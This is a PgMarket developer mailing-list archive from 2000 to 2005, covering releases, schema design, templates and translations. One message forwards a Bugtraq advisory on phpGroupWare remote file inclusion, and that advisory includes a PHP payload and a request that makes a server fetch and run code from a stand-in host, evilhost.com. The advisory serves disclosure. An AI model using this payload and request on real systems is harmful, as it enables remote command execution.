You can subscribe to this list here.
2000 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(3) |
Oct
(25) |
Nov
(9) |
Dec
(10) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2001 |
Jan
(8) |
Feb
|
Mar
|
Apr
|
May
(1) |
Jun
(6) |
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
2005 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: Jeff M. <je...@in...> - 2005-04-18 18:24:23
|
Hi, Is this project active any more ? I see this list has had very little traffic in 2 years, and Marco is hard to get a reply from. Jeff. |
From: Mario W. <mw...@pa...> - 2001-08-01 12:04:09
|
-- Mario Witte <mw...@pa...> |
From: Rajan, V. K <viv...@in...> - 2001-06-08 02:16:56
|
FYI.. Cheers, Rajan -----Original Message----- From: Marco Pratesi [mailto:pr...@te...] Sent: Thursday, June 07, 2001 3:26 AM To: Rajan, Vivek K Subject: RE: PgMarket development Hello, can you post your e-mails in the pgmarket-devel mailing list ? Thanks, Marco Quoting "Rajan, Vivek K" <viv...@in...>: > Marco- > > >From B2B basics: > > - discount level can certainly be a fields of the "users" table. For > big > users, they have different rates of discount and getting added benifits > for > shopping in bulk > - you also need to support a generic discount on special items, > promotional > items, etc. > > Please lemme know if you have any questions. Thanx, > Rajan > > > > -----Original Message----- > > From: Marco Pratesi [mailto:pr...@te...] > > Sent: Wednesday, May 30, 2001 2:19 AM > > To: Rajan, Vivek K > > Subject: PgMarket development > > > > > > Hello, > > > > I would like to know your opinion on the following idea, > > for the 1.5.0 branch... > > > > With regard to B2B, i.e. to prices depending on the user, > > what do you think about a first implementation as in the following ? > > > > The discount level is a field of the "users" table > > and the same discount level holds for all products > > for a given user; such discount level would be decided > > by the shop admin, of course. > > > > Would this be a too much simplified implementation ? > > Which is your experience on this topic ? > > > > Kind regards, > > > > Marco Pratesi > > > |
From: Marco P. <pr...@te...> - 2001-06-07 10:40:38
|
Quoting "Rajan, Vivek K" <viv...@in...>: > Macro- > > The latest version of mySQL supports transaction, so do we still need > to support two database. - I am using postgres - Fabio is using postgres - postgres is more powerful than mysql and it supports much more easily transactions and other safety-related stuff... These are, in my opinion, valid reasons to support postgres. Probably, postgres is preferred in environments where a full-featured DBMS is required. > mySQL seems to be more wide spread and readily > available hosting package. Say what? This is the reason for which I have reintroduced the MySQL support; moreover, MySQL has to be supported because php-pgsql has serious known bugs still open, at least for PHP4 + PostgreSQL 7, as persistent connections work really bad, leading immediately to an overload of the server, on various platforms. (please take a look on the bugs section at php.net) I hope that the involved developers will solve (or at least workaround) this problem; but, in the mean time, the most widely used OSs are affected by this problem: Red Hat 7.x, MDK 7.2 and 8.0. Finally, MySQL and PostgreSQL are the most powerful and widely used Open Source DBMS, the leading two ones :) hence I would like to support both, as much as possible. Maybe the mysql and pgsql phplib classes can help us to use a unified API for both the named DBMSs. Instead, a question: are you able to point out which steps have to be performed to fully support transactions on PgMarket also with MySQL ? It would be very useful to add the related instructions in the DOCS of the MySQL module. Bye, Marco Pratesi |
From: Fabio M. <fa...@mc...> - 2001-06-05 18:33:42
|
>Maybe you (Fabio/Chris) could modify pgmarket-db_schema-1.4.sdd(pdf) >to illustrate the proposed structure, it will be very useful to me. I'll try. >... placing in a file all queries providing difficulties in PostgreSQL >+ MySQL ... >... don't you agree ? >Maybe this is already a good way to do it, what do you think about it ? The number of different queries has increased with the new (proposed) managements (internationalizations and user-dependent pricing above all): dblib.inc.php and its brother will grow a lot ... but I also think this is the only easy way. >But now, let's go on with another topic: the templates. >1 - ... >I have tried to solve these points through the Template class >provided by the PHPlib ... >> ... >I strongly need your opinion on this topic. It's ok for me. Good work ;) Stil ______________________________________________________ Nothing were harmed during the making of this message but english language. |
From: Marco P. <pr...@te...> - 2001-06-04 21:14:51
|
Hello folks :) I suggest you to look at http://www.cs.rochester.edu/u/nelson/courses/csc_173/graphs/ http://www.cs.rochester.edu/u/nelson/courses/csc_173/graphs/search.html In lib/pgmarket.inc.php, build_category_tree(), build_catbrowser(), and build_catbrowser_js() implement a depth-first search on the category tree through recursion, as it is explained in DOCS/layersmenu-example/README-layersmenu As it is written in the comments of the mentioned functions, this is not an efficient way to implement a depth-first search; it is only simple and good for simple cases. It seems to me that such implementation leads to a computational cost equal to O(N^2), while by its own the depth-first search algorithm requires O(N) calls... and this is due to the fact that visited nodes are not marked. This is not good if you have to deal with many categories. Maybe a better implementation could be done using a temporary table where visited nodes are simply deleted (veeeeery marked ! :) Ideas ? Opinions ? Does anyone want to implement this idea ? Marco Pratesi |
From: Marco P. <pr...@te...> - 2001-06-04 17:47:46
|
Hello folks :) Well, first of all: I haven't had still any time to meditate on the proposed new db layout. Maybe you (Fabio/Chris) could modify pgmarket-db_schema-1.4.sdd(pdf) to illustrate the proposed structure, it will be very useful to me. With regard to the option of placing in a file all queries providing difficulties in PostgreSQL + MySQL support, well, it is already a bit true in 1.4rc2... look at search and advanced_search in dblib.inc.php and mysqllib.inc.php ... don't you agree ? Maybe this is already a good way to do it, what do you think about it ? But now, let's go on with another topic: the templates. 1 - actually, it is practically impossible to edit the templates in a WYSIWYG editor... you have to edit the code "by hand" 2 - it is also practically impossible to browse the templates with a browser... 3 - who edits the templates must be able to understand what is not to be touched... he has to deal with HTML and also with PHP, at least to avoid messing the PHP code 4 - the templates code it is not always ordinated, here and there it is a bit "a mess"... I have tried to solve these points through the Template class provided by the PHPlib, and I'm attaching you the result obtained working on shopping/product_details_thumb.php I'm attaching only the files to be added/replaced on 1.4rc2. I have used phplib-7.2b, the latest stable version, and only a file is needed: template.inc, that I have renamed template.inc.php according to the PgMarket standards. IMHO, with this solution, all points 1-4 are almost solved. I strongly need your opinion on this topic. Hearing as soon as possible from you, Marco Pratesi |
From: Chris D. <cd...@xt...> - 2001-06-04 10:14:09
|
Marco Pratesi schrieb: > > Just released :) > > In the next week we should define the TODOs for version 1.5.0; > I suppose that I will release version 1.4.0 next sunday. Congratulations, now I am on the ways to rethink the database layout. While I mean that Fabio's layout is meeting about everything we could want to support database orientated languages, we should maybe find ways to (at least to have the database ready for it) support: * currencies: f.ex. create sequence currency_currid_seq; create table currency ( currid int2 default nextval('currency_currid_seq'), currname varchar(30), currshort char(3), currprice float(8), currdate varchar(30)); create unique index currency_pkey on currency(currname); create unique index currency_skey on currency(currid); insert into currency values(nextval('currency_currid_seq'), 'US Dollar','USD',16.50,'2001-06-04'); insert into currency values(nextval('currency_currid_seq'), 'English Pound','GBP',22.30,'2001-06-03'); Now we could give the visitor the possibility to select his currency, which should give him a more native feeling ;-) when browsing products or looking in his shopping cart. I still believe that a lots of US citizen would not even think to pick up a calc and do there EUR versus USD trading. * users table needs modification: The password length returned could be much larger than 8 char. drop table users; create table users (username varchar(30),password varchar(50),name varchar(45)); create unique index users_pkey on users(username); insert into users values('root','63a9f0ea7bb98050796b649e85481845','Admin'); What I have seen from Fabio's version too, is that he uses the following fields in the users table: usertype, firstname, lastname, fiscalcode, email, priv, language, zone which is looking close to a customer record; but than, why do not include all necessary fields like f.ex. street,zip,town,country and move the custinfo combined field away from orderscc to the users table? Seeing forward to hear from you, Chris |
From: Marco P. <pr...@te...> - 2001-05-21 08:34:22
|
Hello everybody. I have just browsed a bit some parts of the PgMarket project Source Forge pages, and I have looked again at the developers list. Actually, in that list, only Oleg V. Kalashnikov and Fabio Molinari have written some parts of the PgMarket code. I explicitly want to know if at least beta testing activity is carried out by the others, as this activity is very important to achieve a pretty stable and reliable product. In particular, no other features will be added to the 1.3.x branch, which has to be rapidly stabilized to release version 1.4.0; hence beta testing and bug reports are needed to converge to 1.4.0. Actually, I'm receiving bug reports only from persons that are not in the mentioned developers list. I point out that any member who will not reply to this e-mail will be deleted from the developers list, to avoid unuseful confusion. Bye bye, Marco Pratesi |
From: Marco P. <pr...@te...> - 2001-01-22 13:28:55
|
Hello, the Fitcom (and Telug) network is reconfigured now and it seems that there isn't any problem :) , even though some firewalling rules have to be added and some domains still have to switch to the new DNS IP. Hence now I can reply you with more serenity. We are interested in your kind offerings, please let me know how to begin mirroring the pgmarket home page and the download section. If you can provide us some other services useful to the pgmarket project, please let me know some other details, we can go on step by step :) Thank you very much. Marco Pratesi |
From: Marco P. <pr...@te...> - 2001-01-19 20:47:41
|
Hello. Scrive Jeff MacDonald <je...@hu...>: > Hello Marco, > > I understand you have loyalty to your current provider, ... I am the Sys Admin... :) > we wouldn't want to cause any problems there.. Absolutely no problem, don't worry :) > Occasionaly however we do have problems getting to your > site, I'm not sure if it's because it's over sea's or because > of our services provider locally. I know. It's a local problem of us, due to the Albacom CDN :( (we are _very_ angry for this) that should be replaced by Telecom (another contract, 2 Mbit/s instead of 128 kbit/s unbalanced). In the last hours I have had the new that Telecom is ready; hence, just starting from tomorrow, I will reconfigure everything, and some problems can occur. I hope that I will be able to restore everything in the shortest time possible. However, I can not be sure that there won't be problems in the following days. Hence (I hope you will forgive me) I prefer to continue this discussion after the problem has been solved. > However we are still interested in helping your product > gain visibility. We could offer you a mirror of your website > and dowload section. Not to mention you would still have access > to all of your stats including traffic adn downloads. We are glad for this offering. I only ask you to wait for the reconfiguration of the provider... after that I will be more serene. > The machines you would have acess to are > > 1: www server > dual pIII 733 with 768 megs of ram > > 2: db server > dual pIII 800 with 768 megs of ram > > both are on redundant internet links with full power failover > protection. Congratulations :) > We also provide mailing lists with majordomo (which may eventually > be powered by postgres) .. Did you know that source forge is now > powered by postgres ? :) No, I didn't know, but I'm not surprised at all. > If any of this information was interesting to you, please > feel free to get back to me. > > Jeff I will contact you again as soon as possible. Bye, Marco Pratesi |
From: Marco P. <pr...@te...> - 2001-01-18 20:47:35
|
Hi, I thank you very much for your kind offerings. Actually we are employing the Teramo Linux Users Group Web Site ( http://www.telug.it ) for the pgmarket project home page and for the download. This allows us to count and log all hits, downloads, and so on. Furthermore, we are employing Source Forge for the developers' mailing list, while actually we are not using the other services provided by Source Forge. We are interested in your offerings to increase the visibility of both PostgreSQL and PgMarket, and maybe to give the PgMarket project further and/or better services. Any idea in this sense is surely welcome; what do you suggest us ? Bye, Marco Pratesi On Thu, Jan 18, 2001 at 03:00:15PM -0400, Jeff MacDonald wrote: > Hi, > > My Name is Jeff MacDonald, I work for PostgreSQL Inc. > > On behalf of The PostgreSQL Developement Group, I'd > like to offer hosting for your pg-market project on > our server in canada. The same machine as postgresql.org > and pgsql.com > > We can offer you full cvs services as well as email and > pgmarket.postgresql.org > > Or if you have pgmarket.org registerd we will also host > that free of charge. > > Please contact me if you are interested. > > > Jeff MacDonald, > > ----------------------------------------------------- > PostgreSQL Inc | Hub.Org Networking Services > je...@pg... | je...@hu... > www.pgsql.com | www.hub.org > 1-902-542-0713 | 1-902-542-3657 > ----------------------------------------------------- > Facsimile : 1 902 542 5386 > IRC Nick : bignose > PGP Public Key : http://bignose.hub.org/public.txt |
From: Marco P. <pr...@te...> - 2001-01-14 22:00:29
|
Hi all, after a debugging day, I can celebrate my 30th birthday releasing PgMarket 1.0.2 (stable) and 1.1.1 (devel) :))) Version 1.0.2 fixes only minor typos and bugs, as it is reported in the Changelog, and it is intended _only_ as a maintainance version. Version 1.1.1 adds important new features, and I hope it will be the last version in the 1.1.x branch, preceeding the 1.2.0 release. Now PgMarket 1.1.1 needs TESTING, as it does not contain bugs known to me (except the lack of the password entry in the creation of new users by the shop admin, I hope to fix it asap). Hence I request your help in testing 1.1.1. Bye, Marco Pratesi P.S.: 1.1.1 provides also two slides documenting the actual DB relational scheme for 1.0.x and 1.1.1 |
From: Marco P. <pr...@te...> - 2001-01-05 08:58:04
|
Thank you Linus :))) http://freshmeat.net/news/2001/01/05/978681508.html |
From: Olivier K. <ka...@ka...> - 2001-01-05 08:25:49
|
Salut, =09j'ai r=E9alis=E9 une traduction francaise de pgmarket-1.0rc1 . J'ai besoin d'une ou deux personnes francaises pour valider les traductions avant de les inclure dans la prochaine version finale. Cordialement, hi, =09I made a french translation for pgmarket-1.0rc1, and I need some french people to give me feedback about it.=20 Regards, Olivier Kaloudoff,=20 ka...@yn... ----------------------------------------- Ynternet.org,=20 Notre mission: Reduire le foss=E9 Nord-Sud. Contribuer au d=E9veloppement des jeunes et de leur environnement, par une utilisation appropri=E9e d'Internet. ----------------------------------------- |
From: Olivier K. <ka...@ka...> - 2001-01-03 16:06:40
|
Hi Marco, you told me to prepare a patch in order for the french translation to be included... ... but I don't remember exactly what is needed. Can you ask me once more ? Kalou ps: soon the project will be on cvs ? |
From: Marco P. <pr...@te...> - 2001-01-03 09:52:44
|
Scrive "Rajan, Vivek K" <viv...@in...>: > > 2. In the 1.1 branch I have to provide modularity, as any of > > the fields in the ERD may be needed by someone and may be totally unuseful > > for someone else; I think that I have already found a good solution > > to provide modularity for the developer and for the final > > product setup > > Great, lemme know what your ideas are, may be I can provide some input. My idea is explained in the ERD sent to you in the last e-mail (in the "MODULARITY" text box): .php scripts, templates, and maybe the validation functions in pgmarket.inc.php should be aware of which optional fields are used and which of them are mandatory. Such settings should go into application.inc.php Analogously for optional tables. ***Better ideas are certainly welcome.*** BTW, I wrongly reported the "brands" table, that in the current branch (1.1.1-current) consists of "id", "name", "description". > > 3. Is it possible to have the Ethnyc.com ERD in the Portable > > Document Format, in another vectorial standard format, > > or as a Star Office file ? > > Sure, I will work on that and get back to you soon. Many thanks :) > > 4. I need some explanations regarding the ERD; the most urgent: > > how is the price obtained starting from the product and the usertype ? ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > Software components needed to add a field to a table in the ERD: > > - validation function, eventually some parameters to be added > > to application.inc.php > > What is this, please explain in detail. As an example, "username" has associated validate_username() in pgmarket.inc.php, $SESSION["username_length"] and $SESSION["username_length_min"] defined in application.inc.php, related error messages in the global.inc.php files ($empty_username, $username_too_long, and so on). > > - related error messages, to be added to global.inc.php > > - updating of some .php scripts > > - labels for the templates > > - values of the field to update the demo dump and the "import" files > > Maybe for some fields such components will be responsibility > > of Ethnyc, > > for example because some fields will be used only by Ethnyc and hence > > only Ethnyc knows the related specifications. > > Sure, I can provide details on the above. Will write-up a doc, and send it > accross by the end of the week. OK. > > P.S.: does a zip code contain only ciphers ? > > YES, that is correct, only ciphers. Can you write its validation function ? Bye, Marco Pratesi |
From: Marco P. <pr...@te...> - 2000-12-30 17:14:30
|
Hi all. The first version of the unstable development 1.1 branch is out... testing is needed :) Thanks to Fabio Molinari for his important contribution. Marco Pratesi P.S.: Happy GNU year to everyone :) |
From: Marco P. <pr...@te...> - 2000-12-27 17:18:03
|
Hi everybody, the first stable release of PgMarket is finally out :) Now we can start the 1.1.x branch to add the needed new features. I will start considering the Fabio Molinari's contributions and the Rajan's suggestions. For Olivier: now you should make a diff between the final version and the release candidate 1 to make the final little changes to the French module, that will be released as soon as it will be ready for the 1.0.0 version. Many thanks to Ying Zhang for the very good quality code provided in MyMarket, the "father" of PgMarket. Bye, Marco |
From: Marco P. <pr...@te...> - 2000-12-23 17:29:20
|
... and happy GNU year to everybody :) Marco Pratesi |
From: Marco P. <pr...@te...> - 2000-12-17 20:51:48
|
Hi Rajan. It is sufficient to write to the mailing list, I have subscribed it. I will consider your suggestions immediately after the 1.0 release, which will be out (hopefully) before Christmas, anyway during this year. Thank you very much for your considerations. Bye, Marco Scrive "Rajan, Vivek K" <viv...@in...>: > Hi All- > > With increasing hitches in the dot.com industry, B2B solutions are > becoming [...] |
From: Rajan, V. K <viv...@in...> - 2000-12-16 21:52:41
|
Hi All- With increasing hitches in the dot.com industry, B2B solutions are becoming very popular, and more-n-more companies are targeting towards providing generic B2B solutions. I have outlined some of the basic solutions below. We should try to incorporate some/all of them into PgMarket. Check out www.meetchina.com for a good B2B web-site and numerous features it has to offer. Comments/Suggestions ? Cheers, Rajan ---------------------------------------------------------------------------- -------------- Website - The most visible part of any venture is the website. The site needs to be easy to navigate and support all functionality needed to make the venture a success. The following is a list of functionality which the website needs to support: a. Product Display: The product display area needs to be easy to navigate and contain considerable background information about the product and its history. The display area needs to contain detailed information about the products on display including size, price, material and weight information. Product images need to be included and must be of high quality. b. Transaction Support: The website must support online transactions in the form of credit card verification and pre-paid custom orders. Pre-paid custom orders will be held in ESCROW accounts till shipment of the product. c. Order Negotiation: The website must support online negotiation of customer orders with one or several suppliers including design specifics and cost criteria. d. Registration: Online registration of new members as well renewal of memberships must be supported. e. Data Management: Website must provide for automatic entry of data on new products, product families, etc. It must also provide a set of functions for manipulating existing products in database. The Complete B2B Solution ------------------------- 1. Product Design and Development - The web-site needs to support a unified platform for product design and development. This will consist of buyers, suppliers and specialists who specialize in the design of products. This will help incorporating customer requirements, influencing designer's selection of components, and promoting design reuse to avoid reinventing the wheel. A solid B2B website must support such features to expedite the development of innovative design, maximize product lifecycle, adjusting pricing and volumes. 2. Effective Procurement Process - The webs-site must integrate designer, supplier and buyer relationship. With effective supply chain management, it will cut down costs and inventories significantly. Buyers retain absolute freedom of selecting products from a myriad of suppliers registered on the web-site. 3. Demand & Supply Management - the web-site must help its suppliers in forecasting demand and ensuring supply to meet the demand. It should strengthen demand & supply chain between buyers and suppliers by focusing on collaborative product design, production planning, inventory management, shipping and handling, etc. 4. Product Sell and Fulfillment Process - The web-site must provide visibility into the sale of all its online products, so that the in-stock products are promised and accurate delivery dates are ensured. To ensure strong fulfillment process, the web-site must manage buyer/supplier profile, product configuration, pricing, product display, order management, tracking orders, payment processing and customer satisfaction. |
From: Olivier K. <ka...@ka...> - 2000-12-15 09:33:11
|
> > ... we spoke about .inc files one day, and > > you told me : " the admin should configure his apache > > properly (...) " > > > > ... that's not the oppignon of men on > > bugtraq (see the advisory below for details) > > I have seen that also other important software uses it, > like phplib, as an example. > > However, I will meditate about the considerations you have reported. > Maybe .inc --> .inc.php is a good solution ? Yes, I think this is the best solution, to avoid potential troubles to lazy sysadmins, and to keep readability of the source code for the developpers. Kalou |
From: Rajan, V. K <viv...@in...> - 2000-12-11 21:06:09
|
Please ignore this message. Thanx, Rajan |
From: Marco P. <pr...@te...> - 2000-12-07 08:29:43
|
Hi Olivier, how do you do ? Scrive Olivier Kaloudoff <ka...@ka...>: > Hi Marco, > > I am working on the french translation for > pgmarket. If you don't ear about it at the end of the > week, feel free to ask me about it. Well. I'm working to 1.0rc2, maybe it will be out next monday. > ... we spoke about .inc files one day, and > you told me : " the admin should configure his apache > properly (...) " > > ... that's not the oppignon of men on > bugtraq (see the advisory below for details) I have seen that also other important software uses it, like phplib, as an example. However, I will meditate about the considerations you have reported. Maybe .inc --> .inc.php is a good solution ? Please let me know your opinion and if you have a better idea. > Regards, > > Kalou Many thanks, bye bye. Marco Pratesi > ---------- Forwarded message ---------- > Date: Wed, 6 Dec 2000 23:00:44 +1100 > From: Secure Reality Advisories <create@SECUREREALITY.COM.AU> > To: BUGTRAQ@SECURITYFOCUS.COM > Subject: (SRADV00006) Remote command execution vulnerabilities in > > phpGroupWare > > ================================================= > Secure Reality Pty Ltd. Security Advisory #6 (SRADV00006) > http://www.securereality.com.au > ================================================= > > [Title] > Remote command execution vulnerabilities in phpGroupWare > > [Released] > 6/11/2000 > > [Vulnerable] > Versions below 0.9.7 under Unix > > [Overview] > phpGroupWare is a multi-user web based groupware suite written in PHP. > phpGroupWare is quite popular due to its integration of many aspects of > group cooperation: email, calendaring, file sharing, to do lists, etc. > > phpGroupWare makes insecure calls to the include() function of PHP which > can > allow the inclusion of remote files, and thereby the execution of > arbitrary > commands on the remote web server with the permissions of the web > server > user, usually 'nobody' > > [Impact] > Remote command execution (with privileges as above) > > [Detail] > This is an excellent example of another aspect of the remotely > accessible > include files issue that has been discussed in detail recently. The > discussion has centered around the sensitive information that can be > contained in include files and the fact that include files generally > have > the extension 'inc' and thus, if web accessible, are returned to the > requestor in plain text. > > A common solution amongst freely available php scripts is to give > include > files the extension .inc.php. This causes the include file to always be > processed by the PHP interpreter and therefore not return in plain text > sensitive configuration information, like database passwords. Thus > these > programs can have easy installation (untar everything into the web > space) > without worrying about configuration disclosure. > > The problem however then becomes one of context. Code and configuration > variables in include files tend to be highly interdependent, that is, > certain files and data must have already been included before including > a > particular file. By directly requesting the files we can break the > interdependence chain and cause data the include files could normally > trust > to become untrustworthy. > > Which leads us to the phpGroupWare vulnerability. We can directly > request > the library include files that make up the phpGroupWare API, one of > these > files, phpgw.inc.php performs an include based on variables that should > have > been set as part of the call chain. By providing them ourselves we can > determine the initial part of the following include statement: > > include($phpgw_info["server"]["include_root"] . > "/phpgwapi/phpgw_info.inc.php"); > > By providing $phpgw_info[server][include_root] as a form variable that > points to a remote web server on which we can place files, we can get > the > script to retrieve /phpgwapi/phpgw_info.inc.php from that server and > execute > it. > > For example, if I had access to place files in a webspace > http://evilhost.com/~shaun/ I would create a directory "phpgwapi" and > place > inside it a script called phpgw_info.inc.php with content like the > following: > > <?php > > // PHP code to be executed > $phpcode = ' > echo("Hi there!<BR>"); > passthru("id"); > '; > > // If we were called via remote include, send the code to be > // executed > if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == > "PHP") > echo("<?php $phpcode ?>"); > else > // Otherwise we're being executed on the target web server > already, > // so simply evaluate the code > eval($phpcode); > > exit(); > > ?> > > (This script is designed so that the server it is placed on can be PHP > enabled and not result in the code being executed on the attacking > machine) > > If we then make a request to the target machine like the following: > > /phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=ht > tp://evilhost.com/~shaun > > The code should be retrieved and executed. > > It should be noted there are some caveats to this attack: > - The remote web server must be able to retrieve the file, i.e no > firewalls > in the way > - The remote web server must not be running PHP under Windows since > remote > file includes are not supported on this platform > - The remote web server must be running a sufficiently recent version of > PHP > that [][] form variables are allowed > - The remote web server must not have allow_url_fopen set off > - Later versions of phpGroupWare check the variable > $phpgw_info["server"]["header_version"] in phpgw.inc.php, for those > versions > we need to provide that via form variables too > > There may well be others based on other versions/configurations of PHP. > > [Fix] > Please upgrade to the latest version of phpGroupWare (0.9.7) at > http://sourceforge.net/project/showfiles.php?group_id=7305 > > [Acknowledgements] > Our thanks to all of the developers of phpGroupWare, in particular Dan > Kuykendall, for their assistance in quickly correcting this issue. > > [Disclaimer] > Advice, directions and instructions on security vulnerabilities in this > advisory do not constitute: an endorsement of illegal behavior; a > guarantee > that protection measures will work; an endorsement of any product or > solution or recommendations on behalf of Secure Reality Pty Ltd. Content > is > provided as is and Secure Reality Pty Ltd does not accept responsibility > for > any damage or injury caused as a result of its use. > |